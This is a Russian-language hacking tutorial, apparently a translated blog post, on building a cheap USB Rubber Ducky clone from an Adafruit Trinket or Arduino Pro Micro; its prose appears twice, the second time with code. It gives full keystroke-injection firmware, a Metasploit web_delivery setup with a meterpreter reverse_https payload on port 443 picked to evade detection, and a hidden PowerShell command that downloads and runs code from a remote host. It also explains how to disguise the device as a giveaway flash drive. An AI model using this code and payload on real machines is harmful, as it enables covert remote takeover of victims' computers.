Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.
Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.
Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.
Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.
Нужно сказать нашей программе, откуда брать бинарники:
Дальше указываем порт, который не вызовет подозрений, что насчёт 443? ;)
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.
И наконец
Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.
Получаем полезную нагрузку для запуска на компьютере жертвы:
Теперь можем запустить это с флэшки.
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.
Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.
Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.
Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.
Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.
Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.
К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем
#include
. Вам понадобится установить библиотеку, следуя этой инструкции.#include <TrinketKeyboard.h>
Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().
#include <TrinketKeyboard.h>
void setup() {
TrinketKeyboard.begin();
}
void loop() {
TrinketKeyboard.print("Help, I am trapped in a computer! \n");
delay(500);
}
Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}
void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("ipconfig");
delay(100);
pressEnter();
}
Отлично. Создадим эксплоит во фреймворке Metasploit.
Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.
Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.
use exploit/multi/script/web_delivery
Нужно сказать нашей программе, откуда брать бинарники:
set LHOST 1.2.3.4
Дальше указываем порт, который не вызовет подозрений, что насчёт 443? ;)
set LPORT 443
Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.
set URIPATH /
Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.
set TARGET 2
Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.
set PAYLOAD windows/meterpreter/reverse_https
И наконец
exploit
.Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.
use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit
Получаем полезную нагрузку для запуска на компьютере жертвы:
powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');
Теперь можем запустить это с флэшки.
#include <TrinketKeyboard.h>
void pressEnter() {
TrinketKeyboard.pressKey(0, 0x28);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
void winRun() {
TrinketKeyboard.pressKey(0x08, 0x15);
delay(30);
TrinketKeyboard.pressKey(0,0);
}
void setup() {
TrinketKeyboard.begin();
delay(1000);
winRun();
delay(100);
winRun();
delay(300);
// Run cmd
TrinketKeyboard.print("cmd");
pressEnter();
delay(500);
TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');");
delay(100);
pressEnter();
}
void loop() {
// nothing happens after setup
}
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.
Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.
Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.
Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.
Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.
#include "Keyboard.h"
void winRun() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(30);
Keyboard.releaseAll();
delay(100);
}
void setup() {
Keyboard.begin();
delay(2000);
winRun();
Keyboard.println("cmd");
Keyboard.write(KEY_RETURN);
delay(500);
Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');");
Keyboard.write(KEY_RETURN);
}
void loop() {
// put your main code here, to run repeatedly:
}
Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.